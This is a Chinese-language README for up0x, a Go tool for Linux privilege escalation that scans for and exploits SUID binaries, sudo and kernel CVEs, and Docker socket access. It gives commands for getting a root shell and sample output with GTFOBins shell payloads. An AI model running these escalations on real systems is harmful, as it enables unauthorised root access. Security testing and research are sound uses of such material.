一款集合常见提权方法的提权工具
up0x 是一个面向渗透测试人员与安全研究者的 Linux 提权工具,集合了多种常见提权检测与利用方法,涵盖了 SUID 配置错误、CVE 漏洞利用(如 Sudo、特定年份的高危漏洞)等功能。
- 模块化架构:每个提权方式作为独立模块,支持扫描与利用两种模式
- SUID 检测与利用:自动扫描系统中的 SUID 文件,利用 GTFOBins 方法提权
- Sudo 漏洞利用:CVE-2025-32463
sudo -R提权 - CopyFail 集成:CVE-2026-31431 AF_ALG page cache overwrite,自动备份后覆写
su - DirtyFrag 集成:CVE-2026-43284 / CVE-2026-43500 ESP/XFRM + RxRPC 双重利用链
- Docker Socket 逃逸:检测 docker 组权限并利用 docker.sock 提权
本项目使用 Go 语言开发,需先安装 Go 环境。
git clone https://github.com/g0ubu1i/up0x.git
cd up0x
go build -o up0x .# 显示帮助
./up0x
# 扫描所有漏洞
./up0x all
# 扫描指定模块
./up0x dirtyfrag
# 获取 root shell
./up0x copyfail --shell
# 以 root 权限运行指定二进制
./up0x copyfail --exec /path/to/binary| 模块名 | 别名 | 描述 |
|---|---|---|
copyfail |
cve-2026-31431 |
AF_ALG page cache overwrite,覆写 su 获取 root |
dirtyfrag |
— | ESP/XFRM + RxRPC 双重利用链 |
suid |
— | SUID 二进制扫描(GTFOBins) |
docker-sock |
docker |
Docker socket 逃逸 |
cve-2025-32463 |
sudo |
sudo -R 提权(1.9.14–1.9.17) |
cve-2026-46331 |
— | 内核漏洞(桩,待实现) |
up0x all 扫描模式:
██ ██ ██████ ██████ ██ ██
██ ██ ██ ██ ██ ████ ██ ██
██ ██ ██████ ██ ██ ██ ███
██ ██ ██ ████ ██ ██ ██
██████ ██ ██████ ██ ██
author: g0ubu1i
[+] up0x - scanning all vulnerabilities
[+] Kernel version: 6.8.0-45-generic
[+] Sudo version: 1.9.15
--- copyfail ---
[+] CVE-2026-31431 CopyFail target: /usr/bin/su (af_alg page cache overwrite)
--- dirtyfrag ---
[+] DirtyFrag candidate; loaded modules: esp4, esp6, rxrpc
--- suid ---
[+] SUID candidate: /usr/bin/vim [-c :py import os; ...]
[+] SUID candidate: /usr/bin/find [. -exec /bin/sh -p ; -quit]
--- docker-sock ---
[-] docker-sock: user not in docker group
--- cve-2025-32463 ---
[+] CVE-2025-32463 - sudo -R privilege escalation (sudo 1.9.14–1.9.17 affected)
- SUID 程序利用(覆盖常见 GTFOBins,如 python3, vim, find, awk, bash, cp, less, more, nano, ed, env, expect, ftp, gdb, git, lua, perl, php, ruby, scp, tar, timeout, rsync, zsh, chmod 等)
- 挂载 Docker Socket
- Sudo 漏洞(如 CVE-2025-32463 等)
- CopyFail / CVE-2026-31431(支持 amd64、386、arm64、arm payload)
- DirtyFrag / CVE-2026-43284 / CVE-2026-43500(ESP/XFRM + RxRPC)
- 可扩展更多 CVE 漏洞和自定义利用方式
本工具仅供学习与安全测试使用,禁止用于非法用途。因使用本工具产生的任何后果与作者无关。
- GTFOBins
- copyfail-go
- DirtyFrag-go
- 安全社区与所有开源贡献者
作者:g0ubu1i
仓库地址:https://github.com/g0ubu1i/up0x